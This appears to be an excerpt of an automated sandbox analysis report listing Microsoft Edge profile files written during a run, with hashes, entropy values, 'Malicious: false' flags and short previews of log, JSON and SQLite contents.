SSDEEP:	6:HUOjM+q2PcNwi23oH+Tcwt8aPrqIFUt8YU/XZmw+YU/qMVkwOcNwi23oH+Tcwt8h:nM+vLZYebL3FUt8h/+0MV54ZYebQJ
MD5:	999C39FD9C9320C8B27ECE721467BE44
SHA1:	CC665C65CF5492E35860747E8138E15D0FECB398
SHA-256:	7C9402410BFB52D946A85656333832CB4EEF1DFD79277A4CBDED9D9EC70DB1FE
SHA-512:	6689C6CF9641F15F9E9916E828E1CED0090096021E4FFC66C6060216E47B60E091FDCB5DA9D0E8D10355F4253D539F1593995A0AFD0FCF0694F5AA8BFC906510
Malicious:	false
Preview:	2024/11/13-08:41:22.491 1e8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/13-08:41:22.493 1e8c Recovering log #3.2024/11/13-08:41:22.493 1e8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.160585853448604
Encrypted:	false
SSDEEP:	6:HUOjM+q2PcNwi23oH+Tcwt8aPrqIFUt8YU/XZmw+YU/qMVkwOcNwi23oH+Tcwt8h:nM+vLZYebL3FUt8h/+0MV54ZYebQJ
MD5:	999C39FD9C9320C8B27ECE721467BE44
SHA1:	CC665C65CF5492E35860747E8138E15D0FECB398
SHA-256:	7C9402410BFB52D946A85656333832CB4EEF1DFD79277A4CBDED9D9EC70DB1FE
SHA-512:	6689C6CF9641F15F9E9916E828E1CED0090096021E4FFC66C6060216E47B60E091FDCB5DA9D0E8D10355F4253D539F1593995A0AFD0FCF0694F5AA8BFC906510
Malicious:	false
Preview:	2024/11/13-08:41:22.491 1e8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/13-08:41:22.493 1e8c Recovering log #3.2024/11/13-08:41:22.493 1e8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.1604003979185284
Encrypted:	false
SSDEEP:	6:HUuVM+q2PcNwi23oH+Tcwt865IFUt8YUuKZmw+YU3MVkwOcNwi23oH+Tcwt86+Ud:9M+vLZYeb/WFUt85/+xMV54ZYeb/+SJ
MD5:	605FD407AA0C827155BDEB192BB8C81D
SHA1:	E341B2AB8CD171B5569D1A09708C940B77E8A715
SHA-256:	A51554C1ACA91CC274247218700AC7A4E9EAC0B22297DC3C3A39D51745D9FABA
SHA-512:	45D5F0B49FD202DD07297E3EB28BAE233D9A21C9EA1F8ABD48038F8167B38A67A3C31801B906FE94DE1705163AD5406A9C259E5F3D2F436882FCA82D11BAD01D
Malicious:	false
Preview:	2024/11/13-08:41:22.530 1e8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/13-08:41:22.530 1e8c Recovering log #3.2024/11/13-08:41:22.531 1e8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.1604003979185284
Encrypted:	false
SSDEEP:	6:HUuVM+q2PcNwi23oH+Tcwt865IFUt8YUuKZmw+YU3MVkwOcNwi23oH+Tcwt86+Ud:9M+vLZYeb/WFUt85/+xMV54ZYeb/+SJ
MD5:	605FD407AA0C827155BDEB192BB8C81D
SHA1:	E341B2AB8CD171B5569D1A09708C940B77E8A715
SHA-256:	A51554C1ACA91CC274247218700AC7A4E9EAC0B22297DC3C3A39D51745D9FABA
SHA-512:	45D5F0B49FD202DD07297E3EB28BAE233D9A21C9EA1F8ABD48038F8167B38A67A3C31801B906FE94DE1705163AD5406A9C259E5F3D2F436882FCA82D11BAD01D
Malicious:	false
Preview:	2024/11/13-08:41:22.530 1e8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/13-08:41:22.530 1e8c Recovering log #3.2024/11/13-08:41:22.531 1e8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.184877348340231
Encrypted:	false
SSDEEP:	6:HUNJ+q2PcNwi23oH+Tcwt8NIFUt8YUNlZmw+YUNJVkwOcNwi23oH+Tcwt8+eLJ:zvLZYebpFUt85/+T54ZYebqJ
MD5:	DCB8025BFC161FEC47898F38460BBE96
SHA1:	1265312CB1CCC0F2D36F5070537C815A3F7AF41D
SHA-256:	A3F5193B143CBDFE90CBFFD4911AEA1C1C7647E181D3EE561ADCC37B0E203827
SHA-512:	D9BC04B926F0BBCE4F44BB9431C9C06DEAB89A540A23D81CE67158026550EEF995C75CC0EE7DBB479F45DA2A713236F4AC6D18FEA0DCF5FFDB4C0AD5AAAE7AA3
Malicious:	false
Preview:	2024/11/13-08:41:23.722 15c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/13-08:41:23.722 15c8 Recovering log #3.2024/11/13-08:41:23.722 15c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.184877348340231
Encrypted:	false
SSDEEP:	6:HUNJ+q2PcNwi23oH+Tcwt8NIFUt8YUNlZmw+YUNJVkwOcNwi23oH+Tcwt8+eLJ:zvLZYebpFUt85/+T54ZYebqJ
MD5:	DCB8025BFC161FEC47898F38460BBE96
SHA1:	1265312CB1CCC0F2D36F5070537C815A3F7AF41D
SHA-256:	A3F5193B143CBDFE90CBFFD4911AEA1C1C7647E181D3EE561ADCC37B0E203827
SHA-512:	D9BC04B926F0BBCE4F44BB9431C9C06DEAB89A540A23D81CE67158026550EEF995C75CC0EE7DBB479F45DA2A713236F4AC6D18FEA0DCF5FFDB4C0AD5AAAE7AA3
Malicious:	false
Preview:	2024/11/13-08:41:23.722 15c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/13-08:41:23.722 15c8 Recovering log #3.2024/11/13-08:41:23.722 15c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21880421027789762
Encrypted:	false
SSDEEP:	3:F/RtFlljq7A/mhWJFuQ3yy7IOWUD5/udweytllrE9SFcTp4AGbNCV9RUIQP:Y75fOp5Wd0Xi99pEYo
MD5:	FC98AF8DD75264DC88252153787B9BEF
SHA1:	49D0F715D959009D57376C3CD1B4CC844AFBAE6F
SHA-256:	DB6C9B6CD0C5448301EAF23ABDA137841DB884074DEE1DF7242BBB2DABA5B963
SHA-512:	169FB8DCCD19B4846D27A8629575E9147CEF5E1B562FAA5F91B994B344C0A0BA1E3AD060772FB894FE4E5D3F7193CB5E36E31708DCE9739A780F645F34ACC89D
Malicious:	false
Preview:	...............j...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.648112779288423
Encrypted:	false
SSDEEP:	384:aj9P0ZcAjl+QkQeragam6IfP/Kbtn773pLXRKToaADhf:adLKl+e2NvP/m7JRKc39
MD5:	13BE4396CD3C9E7B33FEEF1D2DFE79A3
SHA1:	4772F468762E0EF94C42B20638BA6D85D1BC1AC2
SHA-256:	18516B2B512B9D01D1479353746E5E4B6D156A1107EB1533CD62FD5E3070ED2B
SHA-512:	F601910559EA78E597238DF2AD7F0EC745B048B5754BF4F14E842CC807763A33345E84FCEA89C17BD23D3604323C08D0E3DAF2549E00CE36DC6704F0E07F6169
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.3054612125066445
Encrypted:	false
SSDEEP:	12:yOvLZYeb8rcHEZrELFUt8z/+p54ZYeb8rcHEZrEZSJ:yMlYeb8nZrExg8GoYeb8nZrEZe
MD5:	F04F8EADA9384CA6DCE14C87BFF78D8B
SHA1:	75A2D8A5363DC1DE401D1A30EDC8FD2ABDF20E48
SHA-256:	93BE37AECE0F4352D104D6D7AEEACF2771CBF3CC237E12109F41131F9D29D460
SHA-512:	FD808E97669C9D782899A9F39F3E476E09A446AE7B2F8BB26E2C343F332FB60B646CCB32D4FFA790CFCD9F7769B1AEA476D110691BD04D26E0547F30B11F8E2A
Malicious:	false
Preview:	2024/11/13-08:41:26.617 15c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/13-08:41:26.619 15c8 Recovering log #3.2024/11/13-08:41:26.619 15c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.3054612125066445
Encrypted:	false
SSDEEP:	12:yOvLZYeb8rcHEZrELFUt8z/+p54ZYeb8rcHEZrEZSJ:yMlYeb8nZrExg8GoYeb8nZrEZe
MD5:	F04F8EADA9384CA6DCE14C87BFF78D8B
SHA1:	75A2D8A5363DC1DE401D1A30EDC8FD2ABDF20E48
SHA-256:	93BE37AECE0F4352D104D6D7AEEACF2771CBF3CC237E12109F41131F9D29D460
SHA-512:	FD808E97669C9D782899A9F39F3E476E09A446AE7B2F8BB26E2C343F332FB60B646CCB32D4FFA790CFCD9F7769B1AEA476D110691BD04D26E0547F30B11F8E2A
Malicious:	false
Preview:	2024/11/13-08:41:26.617 15c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/13-08:41:26.619 15c8 Recovering log #3.2024/11/13-08:41:26.619 15c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1655
Entropy (8bit):	5.660611315858759
Encrypted:	false
SSDEEP:	48:CtZiWxmcFeSJXZK8V03Sx41HHHxda2LoEjMymvTV:CtwueuVWRxLdo
MD5:	63987551D871187D6CA9848D22926448
SHA1:	F8C9AB5C87F5EFECCFF7CC6084FBEC15A798D93C
SHA-256:	0B5FE87F9BEAD493C2EE850852088B7156C9B6CFB7B35DF2315A0453887DBB41
SHA-512:	79736DEC5CC5BC4F78E09B728E415775E69884E814B2031F301A1EA77931796300BC7C7A611C929638528F88A040594783701B426E8C63037CF9FE8AB7D413C4
Malicious:	false
Preview:	f.m.x................VERSION.1..META:https://ntp.msn.com.............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":531}.!_https://ntp.msn.com..LastKnownPV..1731511549012.-_https://ntp.msn.com..LastVisuallyReadyMarker..1731511550464.._https://ntp.msn.com..MUID!.2B7552435FBF62BD3EE147755E31634B.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731511549149,"schedule":[32,-1,0,-1,-1,14,-1],"scheduleFixed":[32,-1,0,-1,-1,14,-1],"simpleSchedule":[45,19,34,35,31,27,32]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731511548972.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241113.6"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https:/

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.1700878685008425
Encrypted:	false
SSDEEP:	6:HU7pyq2PcNwi23oH+Tcwt8a2jMGIFUt8YUiFL1Zmw+YUgFdRkwOcNwi23oH+Tcw2:MpyvLZYeb8EFUt8IB/+6zR54ZYeb8bJ
MD5:	ACE5898E466CF7DAFE94E471B17D12D5
SHA1:	F9F3473F2D7AC9BBF91EA5CB20C160607BA82AD3
SHA-256:	0FA79B173956A6CD66A864D4F7A16AD58BD7DD6D0CF56E0D0FAC202DF9BC1AB5
SHA-512:	7CA5A347CE0557CBADB5E70E8B07C28482EDDDBABCB557C75EF6DFCC3E3EE4BEE70CC09A7A35C05CF72A9FFF26300C06E38BB8A1660292E88425F64B908572D5
Malicious:	false
Preview:	2024/11/13-08:41:22.708 1f54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/13-08:41:22.710 1f54 Recovering log #3.2024/11/13-08:41:22.712 1f54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.1700878685008425
Encrypted:	false
SSDEEP:	6:HU7pyq2PcNwi23oH+Tcwt8a2jMGIFUt8YUiFL1Zmw+YUgFdRkwOcNwi23oH+Tcw2:MpyvLZYeb8EFUt8IB/+6zR54ZYeb8bJ
MD5:	ACE5898E466CF7DAFE94E471B17D12D5
SHA1:	F9F3473F2D7AC9BBF91EA5CB20C160607BA82AD3
SHA-256:	0FA79B173956A6CD66A864D4F7A16AD58BD7DD6D0CF56E0D0FAC202DF9BC1AB5
SHA-512:	7CA5A347CE0557CBADB5E70E8B07C28482EDDDBABCB557C75EF6DFCC3E3EE4BEE70CC09A7A35C05CF72A9FFF26300C06E38BB8A1660292E88425F64B908572D5
Malicious:	false
Preview:	2024/11/13-08:41:22.708 1f54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/13-08:41:22.710 1f54 Recovering log #3.2024/11/13-08:41:22.712 1f54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\240ecc51-3591-49ed-b6b2-a14a2f366486.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\70a2fe94-f3da-4acc-8c1f-b2773d01a14f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8db9bd33-bf63-48fa-a833-052927bad9eb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1768
Entropy (8bit):	5.302361881301781
Encrypted:	false
SSDEEP:	48:YcCpfgCzsP/tszfcKs3leeBakEsTCgHsYhbyDF:F2fIY4keBaknTdhy
MD5:	C660CDA58BDB8241A330699545E398CC
SHA1:	CE50E26BDA4590DFFF289FB5BD6941080C9A7859
SHA-256:	F1CEE7BB8D4C8D6A2BDFD92BF5D2F0ACF95894BD952DB6514451FC00379B9667
SHA-512:	5ADA96B4D188E587A1B3D480023D4E53C06B4336BC7CEB0902578D1CA0E268290F6E8AE453B9190E3B14EA0B4567C7E02695EBA7948D190AB2F8AB9811103941
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378570884869316","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378570887537513","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376072491046897","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA="

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9ef797d9-872f-4795-870b-8d86ed9ce307.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.76325852647128
Encrypted:	false
SSDEEP:	96:te+AuCoCNCj1AuvqOlx8HgSDELUSaU2xkZU0WXckO0L/ZJV8Y:tTCujv7P8Hg4GUJkZDWXcf0L/ZJVb
MD5:	13360EB38CE57EF5DC2A68069CB37964
SHA1:	7F3432097D2B03CBEB2F8011ECE6A73B71E1E773
SHA-256:	2B39E99FBCDD08FD2694B45C754C8250648E7427EF78FD125DCBA25337400E81
SHA-512:	BC92C3AFE720672BD791F8119F5DD344E0EB031F4CBCD0A484838BA893F84EA1D303923B1487DF879D85B204F4DA5389F66F44EDFA68E87F15B1905197A0E78C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.3035190857054575
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyDF:F2vu22keBxukOhy
MD5:	D07414264D2DA6A121F18223DC50EC04
SHA1:	814D93916C113C3BCB1AFF03A5AB5E9CB2A7BD1E
SHA-256:	D594EC617D902BC5C2742BDF21E9D7DFD29CC95A3C1AA7EC8C2D7BA07417A54B
SHA-512:	93746830632AE0D4E0A764C1226D21474C1282831E1A642ED37973841C5AB1E0FB63F89D55B3ACA3460EC3510D464ABCE7157A5128B5DA694AB3D1A7A53D56A4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.